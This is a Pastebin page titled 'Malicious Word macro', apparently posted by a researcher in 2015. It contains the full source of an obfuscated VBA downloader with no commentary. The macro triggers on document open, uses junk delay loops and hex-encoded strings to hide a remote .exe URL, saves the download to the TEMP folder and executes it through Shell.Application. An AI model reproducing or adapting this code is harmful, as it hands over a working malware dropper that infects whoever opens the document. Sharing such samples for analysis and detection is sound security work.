SHARE
TWEET

Malicious Word macro

dynamoo Jan 9th, 2015 46 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function DeleteUrlCacheEntry Lib "wininet" Alias _
  11.         "DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long
  12.  
  13.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  14.     "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
  15.     ByVal szURL As String, _
  16.     ByVal szFileName As String, _
  17.     ByVal dwReserved As Long, _
  18.     ByVal lpfnCB As LongPtr) As LongPtr
  19. #Else
  20.     Private Declare Function DeleteUrlCacheEntry Lib "wininet" Alias _
  21.         "DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long
  22.  
  23.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  24.     "URLDownloadToFileA" (ByVal pCaller As Long, _
  25.     ByVal szURL As String, _
  26.     ByVal szFileName As String, _
  27.     ByVal dwReserved As Long, _
  28.     ByVal lpfnCB As Long) As Long
  29. #End If
  30. Public Function HexToString(ByVal hextext As String) As String
  31.    
  32. For y = 1 To Len(hextext)
  33.     num = Mid(hextext, y, 2)
  34.     Value = Value & Chr(Val("&h" & num))
  35.     y = y + 1
  36. Next y
  37.  
  38. HexToString = Value
  39. End Function
  40. Sub Gjvksdfsdf()
  41.  
  42. Dim lZQxseyO As Integer
  43. lZQxseyO = 1
  44. Do While lZQxseyO < 38
  45. DoEvents: lZQxseyO = lZQxseyO + 1
  46. Loop
  47.  
  48. UGivgHgfdg
  49. End Sub
  50. Sub AutoOpen()
  51.  
  52. Dim uLSlxfLf As Integer
  53. uLSlxfLf = 8
  54. Do While uLSlxfLf < 74
  55. DoEvents: uLSlxfLf = uLSlxfLf + 1
  56. Loop
  57.  
  58.     Gjvksdfsdf
  59. End Sub
  60. Sub Workbook_Open()
  61.  
  62. Dim pTXYsseR As Integer
  63. pTXYsseR = 6
  64. Do While pTXYsseR < 85
  65. DoEvents: pTXYsseR = pTXYsseR + 1
  66. Loop
  67.  
  68.     Gjvksdfsdf
  69. End Sub
  70. Sub UGivgHgfdg()
  71.  
  72. Dim kRbmYNKP As Integer
  73. kRbmYNKP = 8
  74. Do While kRbmYNKP < 67
  75. DoEvents: kRbmYNKP = kRbmYNKP + 1
  76. Loop
  77.  
  78.     fdgdfg = HexToString("687474703A2F2F6E7562736A61636B626F782E6F626F726F64756B692E636F6D2F6A732F62696E2E657865")
  79.  
  80. Dim AEtCJJVU As Integer
  81. AEtCJJVU = 3
  82. Do While AEtCJJVU < 48
  83. DoEvents: AEtCJJVU = AEtCJJVU + 1
  84. Loop
  85.  
  86.     irtwef = Environ(HexToString("54454D50")) & HexToString("5C424742756967627567554947372E657865")
  87.  
  88. Dim VCMGYmnj As Integer
  89. VCMGYmnj = 7
  90. Do While VCMGYmnj < 31
  91. DoEvents: VCMGYmnj = VCMGYmnj + 1
  92. Loop
  93.  
  94.     dsfFfdg = URLDownloadToFile(0&, fdgdfg, irtwef, 0&, 0&)
  95.  
  96. Dim mjIUwCeN As Integer
  97. mjIUwCeN = 1
  98. Do While mjIUwCeN < 13
  99. DoEvents: mjIUwCeN = mjIUwCeN + 1
  100. Loop
  101.  
  102.     Set iergerv = CreateObject(HexToString("5368656C6C2E4170706C69636174696F6E"))
  103. iergerv.Open irtwef
  104. End Sub
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top